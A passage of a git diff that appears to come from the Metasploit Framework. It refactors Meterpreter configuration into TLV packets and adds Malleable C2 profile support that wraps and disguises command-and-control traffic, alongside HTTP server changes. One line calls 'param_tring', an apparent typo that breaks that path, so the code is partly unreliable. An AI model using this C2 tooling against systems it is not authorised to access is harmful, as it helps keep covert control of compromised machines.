init_data) unless (init_data || '').empty? + ext_tlv.add_tlv(MET::TLV_META_TYPE_UINT, ext_id) + end + tlv.tlvs << ext_tlv end def config_block # start with the session information - config = session_block(@opts) + config_packet = MET::Packet.create_config() + add_session_tlv(config_packet, @opts) # then load up the transport configurations (@opts[:transports] || []).each do |t| - config << transport_block(t) + add_c2_tlv(config_packet, t) end - # terminate the transports with NULL (wchar) - config << "\x00\x00" - - # configure the extensions - this will have to change when posix comes - # into play. - file_extension = 'x86.dll' - file_extension = 'x64.dll' unless is_x86? + # Each runtime tells us which on-disk extension file matches the + # payload (e.g. 'x86.dll', 'x64.dll', 'py', 'php', 'jar'); skip the + # extension TLV emission when the caller didn't supply one. + file_extension = @opts[:ext_format] @opts[:extensions] = [] if @opts[:extensions].blank? prev_length = @opts[:extensions].length @@ -185,23 +192,14 @@ def config_block ) end - (@opts[:extensions] || []).each do |e| - config << extension_block(e, file_extension, debug_build: @opts[:debug_build]) - end - - # terminate the extensions with a 0 size - config << [0].pack('V') + ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l} - # wire in the extension init data - (@opts[:ext_init] || '').split(':').each do |cfg| - name, value = cfg.split(',') - config << extension_init_block(name, value) + if file_extension + (@opts[:extensions] || []).each do |e| + add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) + end end - # terminate the ext init config with -1 - config << "\xFF\xFF\xFF\xFF" - - # and we're done - config + config_packet.to_r end end diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 22f940754574b..f20d47797d4c3 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -13,6 +13,7 @@ module UriChecksum URI_CHECKSUM_INITN = 92 # Native (same as Windows) URI_CHECKSUM_INITP = 80 # Python URI_CHECKSUM_INITJ = 88 # Java + URI_CHECKSUM_INITPH = 84 # PHP URI_CHECKSUM_CONN = 98 # Existing session URI_CHECKSUM_INIT_CONN = 95 # New stageless session @@ -21,6 +22,7 @@ module UriChecksum URI_CHECKSUM_INITN, :init_native, URI_CHECKSUM_INITP, :init_python, URI_CHECKSUM_INITJ, :init_java, + URI_CHECKSUM_INITPH, :init_php, URI_CHECKSUM_INIT_CONN, :init_connect, URI_CHECKSUM_CONN, :connect ] @@ -33,16 +35,7 @@ module UriChecksum URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength - # Map "random" URIs to static strings, allowing us to randomize - # the URI sent in the first request. - # - # @param uri [String] The URI string from the HTTP request - # @return [Hash] The attributes extracted from the URI - def process_uri_resource(uri) - - # Ignore non-base64url characters in the URL - uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '') - + def process_uuid_string(uri_bare) # Figure out the mode based on the checksum uri_csum = Rex::Text.checksum8(uri_bare) @@ -58,6 +51,40 @@ def process_uri_resource(uri) { uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode } end + # Map "random" URIs to static strings, allowing us to randomize + # the URI sent in the first request. + # + # @param uri [String] The URI string from the HTTP request + # @return [Hash] The attributes extracted from the URI + def process_uri_resource(uri) + # look for the UUID anywhere in the given URI, excluding the query string + uri.split('?')[0].split('/').each {|u| + # Ignore non-base64url characters in the URL + uri_bare = u.gsub(/[^a-zA-Z0-9_\-]/, '') + h = process_uuid_string(uri_bare) + return h if h[:uuid] + } + + # No embedded UUID was found in any URI segment; fall back to a + # checksum-based mode lookup against the whole URI, e.g. for the + # INITW/INITJ/CONN handshake requests which don't carry a UUID yet. + process_uuid_string(uri.gsub(/[^a-zA-Z0-9_\-]/, '')) + end + + # Map "random" get params to static strings. + # + # @param [String] The query string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_query_string_resource(query_string) + end + + # Map "random" cookies to static strings. + # + # @param cookie [String] The Cookie header string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_cookie_resource(cookie) + end + # Create a URI that matches the specified checksum and payload uuid # # @param sum [Integer] A checksum mode value to use for the generated url diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 51c94ae12bfd0..846b57fd95156 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -115,6 +115,32 @@ def cleanup_meterpreter shutdown_tlv_logging end + # + # Wrap the given packet data with any prefixes and suffixes that are stored in + # the associated C2 profile server configuration (if it exists) and handle + # encoding of data + # + def wrap_packet(raw_bytes) + if self.c2_profile + raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes) + end + + raw_bytes + end + + # + # Unwrap the given packet data from any prefixes and suffixes that are stored in + # the associated C2 profile client configuration (if it exists) and handle + # decoding of data + # + def unwrap_packet(raw_bytes) + if self.c2_profile + raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes) + end + + raw_bytes + end + # # Initializes the meterpreter client instance # @@ -133,6 +159,8 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] + self.c2_profile = opts[:c2_profile] + self.pivot_session = opts[:pivot_session] if self.pivot_session self.expiration = self.pivot_session.expiration @@ -500,6 +528,10 @@ def unicode_filter_decode(str) # attr_accessor :last_checkin # + # Reference to the c2 profile instance associated with this connection, if any. + # + attr_accessor :c2_profile + # # Whether or not to use a debug build for loaded extensions # attr_accessor :debug_build diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index b19c784f09634..0f325776fcbb8 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -10,6 +10,9 @@ # certificate hash checking require 'rex/socket/x509_certificate' +# parsing of Malleable C2 profiles for transport_add / transport_change +require 'msf/core/payload/malleable_c2' + require 'openssl' module Rex @@ -142,22 +145,27 @@ def transport_list response = client.send_request(request) result = { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), :transports => [] } - response.each(TLV_TYPE_TRANS_GROUP) { |t| + response.each(TLV_TYPE_C2) { |t| + # TODO: Consider adding more information to the output for malleable profiles? + # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC_INBOUND, TLV_TYPE_C2_ENC_OUTBOUND, + # TLV_TYPE_C2_PREFIX_SKIP, TLV_TYPE_C2_SUFFIX_SKIP, + # TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER + # Not sure if this stuff is useful for this display though. result[:transports] << { - :url => t.get_tlv_value(TLV_TYPE_TRANS_URL), - :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), - :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), - :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), - :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), - :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), - :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), - :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS) + :url => t.get_tlv_value(TLV_TYPE_C2_URL), + :comm_timeout => t.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => t.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => t.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT), + :ua => t.get_tlv_value(TLV_TYPE_C2_UA), + :proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_URL), + :proxy_user => t.get_tlv_value(TLV_TYPE_C2_PROXY_USER), + :proxy_pass => t.get_tlv_value(TLV_TYPE_C2_PROXY_PASS), + :cert_hash => t.get_tlv_value(TLV_TYPE_C2_CERT_HASH), + :custom_headers => t.get_tlv_value(TLV_TYPE_C2_HEADERS) } } @@ -171,25 +179,25 @@ def set_transport_timeouts(opts={}) request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS) if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) end if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end response = client.send_request(request) { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), - :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT) + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), + :comm_timeout => response.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => response.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => response.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT) } end @@ -532,7 +540,7 @@ def transport_sleep(seconds) # we're reusing the comms timeout setting here instead of # creating a whole new TLV value - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, seconds) client.send_request(request) return true end @@ -565,7 +573,7 @@ def enable_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH) hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) client.send_request(request) @@ -599,7 +607,7 @@ def get_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH) response = client.send_request(request) - return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) + return response.get_tlv_value(TLV_TYPE_C2_CERT_HASH) end # @@ -867,7 +875,7 @@ def generate_migrate_stub(target_process) # Helper function to prepare a transport request that will be sent to the # attached session. # - def transport_prepare_request(method, opts={}) + def transport_prepare_request(command_id, opts={}) unless valid_transport?(opts[:transport]) && opts[:lport] return nil end @@ -881,7 +889,11 @@ def transport_prepare_request(method, opts={}) transport = opts[:transport].downcase - request = Packet.create_request(method) + request = Packet.create_request(command_id) + + if opts[:session_exp] + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) + end scheme = transport.split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" @@ -896,20 +908,28 @@ def transport_prepare_request(method, opts={}) end end - if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + # When a Malleable C2 profile is supplied, start from its TLV (which carries + # UA + GET/POST sub-groups) and layer the rest on top; otherwise build a + # bare C2 group. + if (opts[:c2_profile] || '').empty? + c2_tlv = GroupTlv.new(TLV_TYPE_C2) + has_profile = false + else + profile = Msf::Payload::MalleableC2::Parser.new.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + has_profile = true end - if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + if opts[:comm_timeout] + c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end # do more magic work for http(s) payloads @@ -923,32 +943,36 @@ def transport_prepare_request(method, opts={}) url << generate_uri_uuid(sum, opts[:uuid]) + '/' end - opts[:ua] ||= Rex::UserAgent.random - request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) + # When a profile is supplied it controls the UA; otherwise add a default. + unless has_profile + opts[:ua] ||= Rex::UserAgent.random + c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + end if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + c2_tlv.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) end if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' - proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy) + proxy = "#{prefix}#{Rex::Socket.to_authority(opts[:proxy_host], opts[:proxy_port])}" + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_URL, proxy) if opts[:proxy_user] - request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) end if opts[:proxy_pass] - request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) end end end - request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport]) - request.add_tlv(TLV_TYPE_TRANS_URL, url) + c2_tlv.add_tlv(TLV_TYPE_C2_URL, url) + + request.tlvs << c2_tlv request end diff --git a/lib/rex/post/meterpreter/core_ids.rb b/lib/rex/post/meterpreter/core_ids.rb index a7113ba872838..6a0ee761d2522 100644 --- a/lib/rex/post/meterpreter/core_ids.rb +++ b/lib/rex/post/meterpreter/core_ids.rb @@ -28,7 +28,7 @@ module Meterpreter COMMAND_ID_CORE_MIGRATE = EXTENSION_ID_CORE + 14 COMMAND_ID_CORE_NATIVE_ARCH = EXTENSION_ID_CORE + 15 COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION = EXTENSION_ID_CORE + 16 -COMMAND_ID_CORE_PATCH_URL = EXTENSION_ID_CORE + 17 +COMMAND_ID_CORE_PATCH_UUID = EXTENSION_ID_CORE + 17 COMMAND_ID_CORE_PIVOT_ADD = EXTENSION_ID_CORE + 18 COMMAND_ID_CORE_PIVOT_REMOVE = EXTENSION_ID_CORE + 19 COMMAND_ID_CORE_PIVOT_SESSION_DIED = EXTENSION_ID_CORE + 20 diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index a3823579da95a..54dd1613a8eb8 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -11,6 +11,7 @@ module Meterpreter # PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_CONFIG = 2 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 @@ -91,20 +92,6 @@ module Meterpreter TLV_TYPE_LIB_LOADER_NAME = TLV_META_TYPE_STRING | 412 TLV_TYPE_LIB_LOADER_ORDINAL = TLV_META_TYPE_UINT | 413 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 @@ -121,6 +108,49 @@ module Meterpreter TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651 TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653 +# +# Configuration & C2 options +# +TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time +TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use +TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log +TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info +TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping +TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group +TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2 +TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts +TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri) +TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any +TLV_TYPE_C2_PROXY_URL = TLV_META_TYPE_STRING | 710 # Proxy URL +TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name +TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password +TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests +TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests +TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent +TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server-inbound (client->server) body/metadata encoding +TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) +TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s +TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) +TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement (URL/header/cookie) +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_STRING | 730 # String to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_STRING | 731 # String to append to the encoded UUID + +# +# C2 Encoding flags +# +C2_ENCODING_NONE = 0 # No encoding at all +C2_ENCODING_B64 = 1 # Base64 encoding +C2_ENCODING_B64URL = 2 # Base64 encoding with URI-safe characters +C2_ENCODING_URL = 3 # URL encoding # # Core flags @@ -816,6 +846,10 @@ class Packet < GroupTlv # ## + def Packet.create_config() + Packet.new(PACKET_TYPE_CONFIG) + end + # # Creates a request with the supplied method. # @@ -949,7 +983,7 @@ def to_r(session_guid = nil, key = nil) raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call - if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) + if @type != PACKET_TYPE_CONFIG && key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) # encrypt the data, but not include the length and type iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) # now manually add the length/type/iv/ciphertext diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 37f8d01abce15..253236f4078b4 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -710,16 +710,18 @@ def log_packet_to_file(packet, packet_type) end module HttpPacketDispatcher + def connection_uuid + self.conn_id.to_s.split('?')[0].split('/').compact.last.gsub(/(^\/|\/$)/, '') + end + def initialize_passive_dispatcher super - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" self.passive_service = self.passive_dispatcher - self.passive_service.remove_resource(resource_uri) - self.passive_service.add_resource(resource_uri, + self.passive_service.remove_resource(self.connection_uuid) + self.passive_service.add_resource(self.connection_uuid, 'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) }, - 'VirtualDirectory' => true + 'VirtualDirectory' => true, ) # Add a reference count to the handler @@ -728,9 +730,7 @@ def initialize_passive_dispatcher def shutdown_passive_dispatcher if self.passive_service - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" - self.passive_service.remove_resource(resource_uri) if self.passive_service + self.passive_service.remove_resource(self.connection_uuid) if self.passive_service self.passive_service.deref self.passive_service = nil @@ -749,8 +749,9 @@ def on_passive_request(cli, req) self.last_checkin = ::Time.now if req.method == 'GET' - rpkt = send_queue.shift - resp.body = rpkt || '' + rpkt = send_queue.shift || '' + rpkt = self.wrap_packet(rpkt) if self.respond_to?(:wrap_packet) + resp.body = rpkt begin cli.send_response(resp) rescue ::Exception => e @@ -759,9 +760,11 @@ def on_passive_request(cli, req) end else resp.body = "" - if req.body and req.body.length > 0 + body = req.body + if body && body.length > 0 + body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet) packet = Packet.new(0) - packet.add_raw(req.body) + packet.add_raw(body) packet.parse_header! packet = decrypt_inbound_packet(packet) dispatch_inbound_packet(packet) diff --git a/lib/rex/proto/http/packet.rb b/lib/rex/proto/http/packet.rb index 298d8dde86f91..29d8837fc9129 100644 --- a/lib/rex/proto/http/packet.rb +++ b/lib/rex/proto/http/packet.rb @@ -67,6 +67,23 @@ def []=(key, value) self.headers[key] = value end + # + # The `body` attribute was overridden by subclasses, causing quirky behaviour issues, + # such as when a POST request contained query string parameters resulting in the query + # string being prepended to the data that was contained in the body. To avoid this + # utterly ridiculous behaviour while maintaning the status-quo of having the request + # class shoe-horn query strings into POST bodies, we're using `body_bytes` as an internal + # buffer to collect the request's body, rather than using the attribute, which prevents + # this insanity from happening. + # + def body=(val) + @body_bytes = val + end + + def body + @body_bytes + end + # # Parses the supplied buffer. Returns one of the two parser processing # codes (Completed, Partial, or Error). @@ -116,7 +133,7 @@ def reset self.inside_chunk = false self.headers.reset self.bufq = '' - self.body = '' + @body_bytes = '' end # @@ -127,7 +144,7 @@ def reset_except_queue self.transfer_chunked = false self.inside_chunk = false self.headers.reset - self.body = '' + @body_bytes = '' end # @@ -254,7 +271,6 @@ def cmd_string attr_accessor :error attr_accessor :state attr_accessor :bufq - attr_accessor :body attr_accessor :auto_cl attr_accessor :max_data attr_accessor :transfer_chunked @@ -409,11 +425,11 @@ def parse_body # to our body state. if (self.body_bytes_left > 0) part = self.bufq.slice!(0, self.body_bytes_left) - self.body += part + @body_bytes += part self.body_bytes_left -= part.length # Otherwise, just read it all. else - self.body += self.bufq + @body_bytes += self.bufq self.bufq = '' end diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index 5deace0de51ca..388ac20b9be6f 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -217,16 +217,16 @@ def to_s str + super end + # + # Returns a hijacked version of the body that shoves the request's query string in as a + # replacement in cases where there is no body. YOLO! (shrug) + # def body str = super || '' - if str.length > 0 - return str - end - - if PostRequests.include?(self.method) - return param_string + if str.length == 0 && PostRequests.include?(self.method) + str = param_tring end - '' + str end # @@ -271,6 +271,11 @@ def qstring def meta_vars end + # + # An identifier associated with the incoming request, can be used to match requests with sessions. + # + attr_accessor :conn_id + # # The method being used for the request (e.g. GET). # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index aa75aecc2c90c..2ebf34a80292d 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -165,7 +165,7 @@ def add_resource(name, opts) end # If a procedure was passed, mount the resource with it. - if (opts['Proc']) + if opts['Proc'] mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory']) else raise ArgumentError, "You must specify a procedure." @@ -182,8 +182,10 @@ def remove_resource(name) # # Adds Server headers and stuff. # - def add_response_headers(resp) + def add_response_headers(req, resp) resp['Server'] = self.server_name if not resp['Server'] + expl = self.context['MsfExploit'] + expl.add_response_headers(req, resp) if expl&.respond_to?(:add_response_headers) end # @@ -274,24 +276,42 @@ def on_client_data(cli) # def dispatch_request(cli, request) # Is the client requesting keep-alive? - if ((request['Connection']) and - (request['Connection'].downcase == 'Keep-Alive'.downcase)) + if request['Connection'] && request['Connection'].downcase == 'keep-alive' cli.keepalive = true end - # Search for the resource handler for the requested URL. This is pretty - # inefficient right now, but we can spruce it up later. - p = nil - len = 0 - root = nil - - resources.each_pair { |k, val| - if (request.resource =~ /^#{k}/ and k.length > len) - p = val - len = k.length - root = k - end - } + # first, try to match up the request with a handler based on a matching + # function that's present in the context, if specified. + expl = self.context['MsfExploit'] + resource_id = expl.find_resource_id(cli, request) if expl && expl.respond_to?(:find_resource_id) + request.conn_id = resource_id + + if resource_id && resources[resource_id] + p = resources[resource_id] + len = resource_id.length + root = request.resource + elsif resources[request.resource] + p = resources[request.resource] + # This branch is reached when resource_id is nil (e.g. fetch-payload + # adapters have no find_resource_id), so the matched resource is the + # request resource itself -- not resource_id, which would nil-deref. + len = request.resource.length + root = request.resource + else + # Search for the resource handler for the requested URL. This is pretty + # inefficient right now, but we can spruce it up later. + p = nil + len = 0 + root = nil + + resources.each_pair { |k, val| + if (request.resource =~ /^#{k}/ and k.length > len) + p = val + len = k.length + root = k + end + } + end if (p) # Create an instance of the handler for this resource diff --git a/lib/rex/proto/http/server_client.rb b/lib/rex/proto/http/server_client.rb index 69572a71fc34b..344491795fe6a 100644 --- a/lib/rex/proto/http/server_client.rb +++ b/lib/rex/proto/http/server_client.rb @@ -38,7 +38,7 @@ def send_response(response) response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close' # Add any other standard response headers. - server.add_response_headers(response) + server.add_response_headers(self.request, response) # Send it off. put(response.to_s) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ee0a73ed8b027..736537e95317f 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -74,9 +74,9 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.245' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.246.pre.4' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.46' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.48.pre.2' # Needed by msfgui and other rpc components # Locked until build env can handle newer version. See: https://github.com/msgpack/msgpack-ruby/issues/334 spec.add_runtime_dependency 'msgpack', '~> 1.6.0' diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index e3e6cea0e5691..26df448d56dbd 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -27,7 +27,7 @@ def initialize(info = {}) This module has been tested 